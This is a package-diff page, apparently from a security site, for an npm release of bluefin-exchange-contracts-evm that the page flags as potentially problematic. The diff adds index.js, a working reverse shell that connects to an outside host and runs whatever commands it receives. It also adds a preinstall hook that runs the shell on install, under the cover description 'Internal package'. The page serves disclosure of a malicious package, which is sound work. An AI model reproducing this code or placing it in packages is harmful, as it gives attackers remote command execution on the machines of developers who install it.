bluefin-exchange-contracts-evm 0.0.1-security → 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of bluefin-exchange-contracts-evm might be problematic. Click here for more details.
- package/index.js +29 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
const net = require('net');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
// Replace these with your actual Ngrok URL and port
|
5
|
+
const server = 'in1.localto.net'; //
|
6
|
+
const port = 8660; //
|
7
|
+
|
8
|
+
const client = new net.Socket();
|
9
|
+
client.connect(port, server, () => {
|
10
|
+
console.log('Connected to remote server');
|
11
|
+
client.write('Reverse shell connection established\n');
|
12
|
+
});
|
13
|
+
|
14
|
+
client.on('data', (data) => {
|
15
|
+
exec(data.toString(), (error, stdout, stderr) => {
|
16
|
+
if (stdout) client.write(stdout);
|
17
|
+
if (stderr) client.write(stderr);
|
18
|
+
if (error) client.write(error.message);
|
19
|
+
});
|
20
|
+
});
|
21
|
+
|
22
|
+
client.on('error', (err) => {
|
23
|
+
console.error(`Connection error: ${err.message}`);
|
24
|
+
client.destroy();
|
25
|
+
});
|
26
|
+
|
27
|
+
client.on('close', () => {
|
28
|
+
console.log('Connection closed');
|
29
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "bluefin-exchange-contracts-evm",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.0.0",
|
4
|
+
"description": "Internal package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "ls",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"Testing"
|
12
|
+
],
|
13
|
+
"author": "ISC",
|
14
|
+
"license": "ISC"
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=bluefin-exchange-contracts-evm for more information.
|